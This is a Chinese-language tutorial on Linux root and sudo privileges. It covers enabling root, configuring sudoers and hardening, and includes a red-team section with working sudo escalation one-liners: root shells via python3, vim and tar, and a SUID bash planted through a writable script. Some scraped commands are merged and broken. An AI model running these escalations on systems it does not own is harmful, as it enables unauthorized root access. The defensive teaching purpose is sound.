当前位置: 首页 > news >正文

Linux 特权管理与安全——从启用 Root、Sudo 提权到禁用与防护的全景解析

一、前言

  • 为什么关注特权?
    Root(超级用户)拥有系统所有权限,一旦被滥用或入侵,后果不堪设想。
  • 运维与安全的平衡
    既需要日常运维中快速提权执行管理任务,又要避免过度开放特权带来的风险。
  • 攻防同源理念
    了解攻击者如何利用特权漏洞,更能指导我们完善防御。

二、Root 用户概述

  1. Root 的角色与权限

    • UID = 0 的超管账号,拥有对文件、进程、网络等绝对控制权。
    • 默认情况下可执行所有命令、访问所有路径、修改任何文件。
  2. 为何 Root 有时被禁用?

    • 发行版安全策略:Ubuntu、Debian 默认禁止 SSH 直连 Root。
    • 规范运维:鼓励通过 sudo 方式授予最小特权,减少误操作风险。

三、合法启用 Root 与 Sudo 提权

3.1 启用 Root 账号

  1. 设置或重置 Root 密码

    sudo passwd root
    # 依提示输入两次新密码,启用或更新 root 密码
    
  2. 切换到 Root

    su -         # 使用 root 密码登录
    # 或者
    sudo -i      # 若用户有 sudo 权限,也可无密码切换
    
  3. 允许 SSH 直连(慎用)
    编辑 /etc/ssh/sshd_config

    PermitRootLogin yes
    

    保存后重启 SSH 服务:

    sudo systemctl restart sshd
    

注意:在公有网络环境中开启 Root SSH 登录,极易成为暴力破解目标,生产环境不推荐。

3.2 授予或配置 Sudo 权限

  1. 将用户添加到 sudo(Debian/Ubuntu)或 wheel(CentOS/RHEL)组

    # Debian/Ubuntu
    sudo usermod -aG sudo alice# CentOS/RHEL
    sudo usermod -aG wheel alice
    
  2. 精细化 sudoers 配置
    使用 visudo 编辑 /etc/sudoers,避免语法错误:

    # 允许 alice 以任何身份运行所有命令,但需要输入密码
    alice ALL=(ALL) ALL# 允许 bob 运行指定命令且免密
    bob   ALL=(ALL) NOPASSWD: /usr/bin/systemctl, /usr/bin/journalctl
    
  3. 验证 sudo 权限

    sudo -l    # 列出当前用户可执行的 sudo 命令列表
    

四、非法提权手法与演示(红队视角)

在渗透测试或红队演练中,攻击者往往利用错误配置的 sudo 权限或可写脚本来提权。以下示例摘自 GTFOBins 常见套路。

4.1 利用可写脚本提权

假设 sudo 列表显示:

User pentester may run the following commands:(root) NOPASSWD: /usr/bin/python3 /opt/scripts/backup.py
  1. 利用 Python 交互式 shell

    sudo python3 -c 'import os; os.system("/bin/bash")'
    
  2. 在脚本旁植入恶意代码
    如果 /opt/scripts/backup.py 可写:

    echo 'import os; os.system("cp /bin/bash /tmp/rootshell; chmod +s /tmp/rootshell")' >> /opt/scripts/backup.py
    sudo /usr/bin/python3 /opt/scripts/backup.py
    /tmp/rootshell -p   # 提权 Shell
    

4.2 利用常见工具

  • vim

    sudo vim -c ':set shell=/bin/bash' -c 'shell'
    
  • tar

    sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
    

小结:只要 sudo 授权给任意可执行文件,且该文件或其依赖可被控制,就可能成为提权入口。

五、禁用与限制特权(蓝队视角)

5.1 禁用 Root SSH 登录

/etc/ssh/sshd_config 中设置:

PermitRootLogin no

然后重启 SSH:

sudo systemctl restart sshd

5.2 锁定或禁用 Root 密码

  • 锁定账户

    sudo passwd -l root   # 锁定密码,禁止登录
    
  • 禁用 Shell 登录
    修改 /etc/passwd 中 root 的 Shell:

    root:x:0:0:root:/root:/usr/sbin/nologin
    

5.3 精简 sudo 权限

  1. 移出 sudo/wheel 组

    sudo gpasswd -d alice sudo
    
  2. 审计 sudoers

    • 定期使用 sudo -l -U username 审查各用户可执行命令。
    • 避免使用 NOPASSWD: ALL,要尽量限定具体命令。

5.4 加固系统策略

  • 最小化安装:删除不必要的软件包,减少可被滥用的二进制。
  • 文件权限审计:确保 /etc/sudoers、脚本目录、敏感可执行文件权限最小化。
  • 日志监控:配置 auditd 或集中化日志,及时发现异常 sudo 或 su 操作。
  • MFA/2FA:对高危帐号(如 sudo 组用户)开启二次认证。

六、实战演练:从发现到加固

  1. 列出可提权命令

    for user in $(cut -d: -f1 /etc/passwd); dosudo -l -U $user 2>/dev/null | grep -v "(ALL)" && echo ">> $user"
    done
    
  2. 检测可写脚本与 SUID

    find / -type f -perm -4000 -o -writable -user root 2>/dev/null
    
  3. 修复与加固

    • 收回非必要 SUID 位:chmod u-s /path/to/binary
    • 修正脚本权限:chmod 700 /opt/scripts/backup.py
    • 更新 sudoers:移除多余授权

七、总结与最佳实践

场景建议做法
开发/测试可根据需求临时启用 Root 或 NOPASSWD,测试完及时恢复
生产运维坚持最小特权原则,日常使用 sudo,禁止 Root 直连 SSH
安全加固对 sudo 权限、SUID/SGID、可写脚本做常规审计;开启日志监控
  1. 授予特权要有边界:遵循最小权限原则,明确命令白名单。
  2. 监控与审计并重:持续检测变更与使用行为,结合 SIEM/auditd 实现溯源。
  3. 定期复查与演练:模拟红队攻击,验证防御有效性,及时修补。

通过本文,你应已掌握从开启 Root/Sudo 提权红队攻击手法蓝队防御策略的完整流程。在实际运维与安全建设中,可根据业务需求和风险评估灵活配置,确保在便捷与安全之间取得最佳平衡。

延伸阅读

  • GTFOBins 特权命令利用集锦:https://gtfobins.github.io/
  • Linux Audit 审计实践:https://linux-audit.com/
  • Sudo 官方文档:https://www.sudo.ws/docs/

相关文章:

  • idea如何让文件夹分层显示,而不是圆点分割
  • 【牛客-输入输出练习】
  • 安全工具配置
  • STM32外设应用详解——从基础到高级应用的全面指南
  • 基于NLP技术的客户投诉与需求文本分类方法研究
  • 大语言模型的评估指标
  • 差动讯号(2):奇模与偶模
  • RedissonClient主要功能概述
  • 公路水运安全员C证用途及重要性
  • MySQL:to many connections连接数过多
  • 【数据结构 -- AVL树】用golang实现AVL树
  • 商标撤三要求越来越高,一些注意!
  • 73.矩阵置零
  • 云原生架构下的企业 DevOps 治理实践:挑战、策略与落地路径
  • Git Hooks 和 自动生成 Commit Message
  • mysql的乐观锁与悲观锁
  • VUE3 中的 ResizeObserver 警告彻底解决方案
  • Mysql 中的日期时间函数汇总
  • 喷涂喷漆机器人详解
  • Translational Psychiatry | 注意缺陷多动障碍儿童延迟厌恶的行为与神经功能特征茗创科技茗创科技
  • 区域、学校、课堂联动,上海浦东让AI素养培育贯穿基础教育全学段
  • 最高法:政府信息公开案件审理应避免泄露国家秘密、商业秘密
  • 上海浦江游览南拓新航线首航,途经前滩、世博文化公园等景点
  • 去年上海60岁及以上户籍老年人口占总人口的37.6%
  • 上海发文加强直播经济技能人才培养:三年新培养持证直播技能人才5万名
  • 被央视曝光“废旧厂区沦为垃圾山”,江西萍乡成立调查组查处